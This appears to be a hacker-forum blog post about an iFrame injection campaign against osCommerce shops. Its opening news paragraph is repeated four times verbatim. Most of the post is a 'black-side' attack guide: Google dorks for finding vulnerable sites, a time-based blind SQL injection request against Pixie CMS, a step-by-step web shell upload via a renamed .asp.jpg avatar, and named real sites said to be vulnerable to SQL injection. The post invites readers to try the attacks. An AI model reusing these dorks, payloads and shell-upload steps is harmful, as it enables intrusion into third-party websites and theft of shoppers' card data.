The iFrame injection campaign has expanded from affecting 90,000 websites to over 3 million websites. Attackers are exploiting vulnerabilities in the osCommerce e-commerce platform to inject iFrames redirecting users through different domains before reaching a site hosting exploits. Researchers have been monitoring the situation as the attackers aim to steal credit card and other personal information from infected websites.
The iFrame injection campaign has expanded from affecting 90,000 websites to over 3 million websites. Attackers are exploiting vulnerabilities in the osCommerce e-commerce platform to inject iFrames redirecting users through different domains before reaching a site hosting exploits. Researchers have been monitoring the situation as the attackers aim to steal credit card and other personal information from infected websites.
The iFrame injection campaign has expanded from affecting 90,000 websites to over 3 million websites. Attackers are exploiting vulnerabilities in the osCommerce e-commerce platform to inject iFrames redirecting users through different domains before reaching a site hosting exploits. Researchers have been monitoring the situation as the attackers aim to steal credit card and other personal information from infected websites.
The iFrame injection campaign has expanded from affecting 90,000 websites to over 3 million websites. Attackers are exploiting vulnerabilities in the osCommerce e-commerce platform to inject iFrames redirecting users through different domains before reaching a site hosting exploits. Researchers have been monitoring the situation as the attackers aim to steal credit card and other personal information from infected websites.
The recently discovered iFrame injection campaign rages
on, as the number of compromised web pages goes from
90,000+ to over three million.
Armorize researchers have been keeping an eye on the unfolding situation and point out that the attackers are taking advantage of a number of vulnerabilities in the Open Source online shop e-commerce solution osCommerce.
The injected iFrames point to the willysy.com and exero.eu domains and through a series of redirections and JavaScript loadings of additional iFrames takes the user to a page one the arhyv.ru domain where a number of exploits try to take advantage of a handful of vulnerabilities in the user's browser.
So guys what is iFrame injection??? letz start....
Iframe Injection is the redirection to malware containing site Using IFrame tag. The Attackers injects the malware contain website(links) using Cross site Scripting in popular websites. So if the usual visitors of that popular sites opens the website, it will redirect to malware contain website. Malware will be loaded to your computer. Now a days the Internet-Hoppers face these problems in their absecnce mind,they did not know that his/her system infected with some malware,virus,trojan,worm etc....
(a practicle experience of mine sometimes when i download some private "black tool" from a forum it says that you have to download a downloader and then it will automatically download your desire file. I download some file like that but after downloading i annalyse that program -downloader it contains trojan that open some ports to build a way to attacker to compromise your system but thanx to my AV :P)
But now a days our browsers are too smart , they will not pop up to auto download a program(but be careful about your downloader e,g IDM,DAP etc).
What is <Iframe> TAG The <Iframe> Tag is a HTML tag used to seamlessly embed content from another page or site to build online application. Here 'i' refers to invisible i,e. <iframe> is "invisible frame"
As we started with an intro about Iframe Injection what an attacker do with this attack and why. As guys you aware that now a days CC is the fashion of every hacker :P Attackers main target is some on line shopping center site and got some CC info with that. as we discuss at first with an incident with willysy. The initial malicious destination URL in the willysy infection chain has been changed because it has since been blocked. It is now the same as that for the exero one: musicyo.ru/d.php?[REMOVED]. As the detection of this attack is very low(11.6%) on virus total
So we know something about Iframe injection but how to perform an attack?? so Letz begin...... Black-side of Iframe Injection so first of all we have to find some vulnerable site using Google dorks. here i will give you some example with dorks.. AngelParrot/i4Style Web Design SQL Injection/ Cross Site Scripting Paulo Santos/CGI Helper 1.00 Cross Site Scripting
Example request: GET http://localhost:8080/pixie_v1.04/?pixie_user=x',log_importan t=IF({CONDITION},SLEEP(5),NULL),log_id='1234 Host: localhost:8080 Referer: http://www.google.com/ Pragma: no-cache Cache-Control: no-cache Connection: Keep-Alive
If the condition is true then you have a response with timeout ~5 seconds. Notice that referer is required.
Exploit Title: Pixie CMS 1.01 - 1.04 "Referer" Blind SQL Injection Google Dork: None Date: 11/14/2011 Author: Piranha Software Link: http://www.getpixie.co.uk/ Version: 1.01 - 1.04 Tested on: Windows XP SP3, Pixie versions: 1.01 - 1.04 CVE : None
Example request: GET http://localhost:8080/pixie_v1.04/ Host: localhost:8080 Referer: http://www.google.com',log_important=IF({CONDITION},SLEE P(5),NULL),log_id='1234 Pragma: no-cache Cache-Control: no-cache Connection: Keep-Alive
If the condition is true then you have a response with timeout ~5 seconds.
Sun Army/SOOP Portal Raven 1.0b Shell Upload Vulnerablity # Exploit Title: SOOP Portal Raven 1.0b Remote Upload Shell Vulnerability # Google Dork: "Powered by SOOP Portal Raven 1.0b" # Date: 06-12-2010 # Author: Sun Army # Version: Raven 1.0b # Tested on: Win 2003
nGa Sa Lu/MG for Media Solution ================================================== ============= # Exploit Title : MG for media solutions SQL inj: vulnerable # Google Dork : intext:"Powered by MG for media solutions # Date : 27-10-2011 # Author : nGa Sa Lu [ GaNgst3r ] # Service Provider : http://www.mg-me.com/ourservices # Tested on : Vista # Platform : php ================================================== ==============
[+] Google Dork : intext:"Powered by MG for media solutions
[+] SQL Error Statement : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
[+] Demo : http://www.apex-sy.com/index.php?inid=4&pid=[SQL] http://hekmahospital.com/index.php?inid=1&id=[SQL] MG for media solutions suffers from a remote SQL Injection Vulnerability
nGa Sa Lu/Debliteck Ltd SQL Injection ================================================== ============= # Exploit Title : Debliteck Ltd SQL inj: vulnerable # Google Dork : "Designed and Developed by Debliteck Ltd" # Date : 17-11-2011 # Author : nGa Sa Lu [ GaNgst3r ] # Service Provider : http://www.debliteck.com/main.php # Tested on : Vista # Platform : php ================================================== ==============
[+] Google Dork : "Designed and Developed by Debliteck Ltd"
[+] SQL Error Statement : Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/l/i/limelight/public_html/article.php on line 19 Wrong article id 66\'at line 1
##################### Exploit ################### # # 1.Register On Site # # 2.Shell Renamed to .asp.jpg ( shell.asp.jpg ) # # 3.Go This Page --> http://site/forum/register.asp?fpn=2 # # 4. Brows And Upload SHell # # 5. go http://site/forum/register.asp?fpn=2 --> List Avatars --> Your Personal # Avatar --> select your Shell and View shell Address in text box # # # Google Dork : ""Powered by SOOP Portal Raven 1.0b" #
Example: You Find -> http://[target]/[path]//applications/DocumentLibraryManager/i nc_documentlibrarymanager.asp Edit -> http://[target]/[path]//admin/DocumentLibraryManager/add_ca tegory.asp
So guys with these example you can try a little..:P but careful about ..?? these exploit have updated you can check those useing Google.
So fellus we talking about attack but we have to care ourselves with a cure... What should we do if we infected via Iframe injection??? Most of we use FileZilla/XAMP to host a local Site to connect FTP server then we must change our password os FTPs,control- panel and database.
